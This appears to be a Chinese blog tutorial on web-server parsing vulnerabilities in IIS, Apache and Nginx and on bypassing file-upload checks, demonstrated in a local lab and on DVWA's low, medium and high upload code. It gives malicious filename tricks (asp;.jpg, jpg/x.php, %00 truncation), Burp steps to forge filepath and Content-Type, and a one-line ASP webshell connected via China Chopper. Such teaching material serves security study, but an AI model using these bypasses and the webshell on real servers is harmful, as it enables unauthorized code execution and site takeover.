burpsuite爆破

1.什么是解析漏洞

以其他格式执行出脚本格式的效果。

2.解析漏洞产生的条件

1.命名规则

2.搭建平台

3.常见的解析漏洞

(一)IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

1)目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。

2)文件解析

形式:www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

3)解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa

/test.cer

/test.cdx

(二)IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于PHP配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

(三)apache解析漏洞

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以php 方式执行。

修复方案

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so

把#号去掉,重启apache,在网站根目录下建立.htaccess文件

(四)Nginx解析漏洞

漏洞原理

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg%00.php

www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

总结:

IIS6.0(x和脚本格式可以自定义)

文件命名形式:

正常命名:www.xxx.com/logo.jpg

触发解析漏洞命名:www.xxx.com/logo.asp;.jpg或logo.asp;.x.jpg

文件夹命名形式:

正常命名:www.xxx.com/images/qq.jpg

触发解析漏洞命名:www.xxx.com/image.asp/qq.jpg

IIS7.X(x自定义,只能执行php)

正常命名:www.xxx.com/logo.jpg

触发解析漏洞命名:www.xxx.com/logo.jpg/x.php

Apache(xxxx代表任意后缀,向上识别解析)

正常命名:www.xxx.com/a.php

触发解析漏洞命名:www.xxx.com/a.php.xxxx

Nginx同iis7.x一致

4.一个简单的解析例子

测试环境为:windwos2003+iis6.0 注意:测试环境必须是在windwos2003+iis6.0的情况下才能成功解析,不能是小旋风之类的软件来测试。

1)文件解析

直接访问图片地址:http://192.168.87.129:8067/6.jpg

改变图片后戳名为:6.asp;.jpg 再次访问,就会发现,jpg格式的图片被解析成了asp格式的脚本语言。

还可以改成:6.asp;1234.jpg 效果是一样的。

2)目录解析

将文件改为一个正常的图片格式文件,然后把它复制到一个test.asp的目录下,然后方法,发现也能正常解析。

5.解析漏洞利用场景

解析漏洞主要用在文件上传,上传一些图片什么的,然后通过解析漏洞,解析为动态语言。而上传很重要的一点就是命名规则,因为如果你不知道,服务器的文件命名规则的话,解析漏洞就不好利用,因为我们要获取我们上传文件名,只有获取到了上传的文件名,才能进行下一步操作,而命名规则无非就是以下两种。

测试源码:http://download.csdn.net/detail/u011781521/9766646下载好之后,在服务器中新建一个网站,并复制进去。

然后访问首页:http://192.168.87.129:8898/Index.asp

后台登录地址:http://192.168.87.129:8898/Tcnet/Admin_Login.asp

文件上传地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg用户名与密码: admin admin 注意:必须先要登录才能使用文件上传功能。

1.本地,服务端命名一致

1)filepath上传利用

直接上传解析漏洞命名的后门文件

访问这个地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg

先直接上传一个asp的文件试试看能否上传

发现并不能上传。那我们就利用解析漏洞来试下看,把asp改为fk.asp;.jpg(注:这里是图片一句话)

OK能上传。复制上传好的地址,然后访问

图片能查看,但是asp并没有被解析。。。这是时候怎么办,从新上传xxx.asp;.jpg,然后用Burp来抓包,进行修改。

右键发送到Repeater中去

修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后Go一下你就会发现,这里就成了一个解析漏洞了

然后访问下这个地址,asp成功的被解析了。

然后用菜刀进行连接。

密码就是"include";对应的asp一句话<%execute request("include")%>  然后点击添加。。

连接成功。

2.本地,服务端命名不一致,基于时间,日期等命名

1)filetype突破

这里采用DVWA来测试,

然后点击"View Source"查看源码。

Low代码:

[html]view plaincopy


if( isset( $_POST[ 'Upload' ] ) ) {  //判断是否是post传过来的,也就是判断upload是否为空

$target_path=DVWA_WEB_PAGE_TO_ROOT. "hackable/uploads/";   //取得网站绝对路径,然后用绝对路径+相对路径得到一个完整的路径。

$target_path.=basename( $_FILES[ 'uploaded' ][ 'name' ] );   //根据上面得到的完整路径+得到的文件名。

if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {  //判断你上传的图片是否成功移动到完整路径中

// No

echo '

Your image was not uploaded.

';

}

else {

// Yes!

echo "

{$target_path} succesfully uploaded!

";

}

}

?>

$_FILES['uploaded']['name']:取得$_FILES全局文件变量的上传文件名

该源码存在的问题:

第一个没有验证后缀格式

什么格式得可以上传。。

第二个客户端,服务端文件命名一致

Medium代码:

[html]view plaincopy


if( isset( $_POST[ 'Upload' ] ) ) {

// 我们要往哪里写?

$target_path=DVWA_WEB_PAGE_TO_ROOT. "hackable/uploads/";

$target_path.=basename( $_FILES[ 'uploaded' ][ 'name' ] );

// 文件信息

$uploaded_name= $_FILES[ 'uploaded' ][ 'name' ];

$uploaded_type= $_FILES[ 'uploaded' ][ 'type' ];

$uploaded_size= $_FILES[ 'uploaded' ][ 'size' ];

// 判断这是一个图片吗?

if( ( $uploaded_type== "image/jpeg" || $uploaded_type== "image/png" ) &&

( $uploaded_size<100000) ) {

// 我们可以移动文件到上传文件夹吗?

if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

// No

echo '

Your image was not uploaded.

';

}

else {

// Yes!

echo "

{$target_path} succesfully uploaded!

";

}

}

else {

// Invalid file

echo '

Your image was not uploaded. We can only accept JPEG or PNG images.

';

}

}

?>

$_FILES['uploaded']['name'];取得$_FILES全局文件变量的上传文件名

$_FILES['uploaded']['type'];取得$_FILES全局文件变量的上传文件类型

$_FILES['uploaded']['size'];取得$_FILES全局文件变量的上传大小

验证文件上传类型及大小,还是本地,服务端命名一致

然后我们来上传个asp文件用Burp抓包,看是否能成功上传。

拦截到之后发送到Repeater,然后go一下

上传失败。。。这就很好奇了,明明这里没有验证文件后戳名,为什么还是上传不了???? 但是,他这里验证了文件类型!!我们看下上传的文件是什么类型的

看它上传的类型为:application/octet-stram 所以他把上传的asp当做application来处理里。

然后我们改一下content-type的类型为:image/jpeg

再次GO一下,发现上传成功了。

2)%00截断:截断字符

注意:数据包修改%00,务必进行url编码

把6.asp;.jpg改为6.asp%00.jpg

然后选中右键把%00进行url编码下。

这样的话,就把.jpg给截断了,然后就变成了6.asp。

High代码:

[html]view plaincopy


if( isset( $_POST[ 'Upload' ] ) ) {

// 我们要往哪里写?

$target_path=DVWA_WEB_PAGE_TO_ROOT. "hackable/uploads/";

$target_path.=basename( $_FILES[ 'uploaded' ][ 'name' ] );

// 文件信息

$uploaded_name= $_FILES[ 'uploaded' ][ 'name' ];

$uploaded_ext=substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

$uploaded_size= $_FILES[ 'uploaded' ][ 'size' ];

$uploaded_tmp= $_FILES[ 'uploaded' ][ 'tmp_name' ];

// 判断是否是图片?

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&

( $uploaded_size<100000) &&

getimagesize( $uploaded_tmp ) ) {

// 我们可以移动文件到上传文件夹吗?

if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {

// No

echo '

Your image was not uploaded.

';

}

else {

// Yes!

echo "

{$target_path} succesfully uploaded!

";

}

}

else {

// Invalid file

echo '

Your image was not uploaded. We can only accept JPEG or PNG images.

';

}

}

?>

strrpos( $uploaded_name, '.' ) + 1 的作用就是去文件的最后一个点

例如:

www.jpg.zip.txt.asp

他就会截取最后一个点,所以是绕不过的。

然后下面又是一个判断。格式必须是图片型的才能执行下面的代码。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,686评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,668评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,160评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,736评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,847评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,043评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,129评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,872评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,318评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,645评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,777评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,470评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,126评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,861评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,095评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,589评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,687评论 2 351

推荐阅读更多精彩内容

  • 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直...
    付出从未后悔阅读 1,127评论 0 4
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 20,745评论 2 13
  • 漏洞挖掘与利用 测试环境的搭建 引言 为什么要搭建本地测试环境?我想下面的东西能够回答你的疑惑。 第二百八十五条 ...
    作业没写完阅读 3,178评论 0 4
  • 文/Screalling 社交与交友,看似都是与人打交道,但其实当中的区别十分微妙,毫不夸张的来说,不少的我们将这...
    苍木幽林阅读 1,139评论 0 2
  • 【上一章】超凡探长(五)(目录) 这天谭铭去局里报到去了,孟凡来到侦探社,喝着牛奶吃着三明治。早餐还没吃完就接到警...
    熊六阅读 271评论 0 2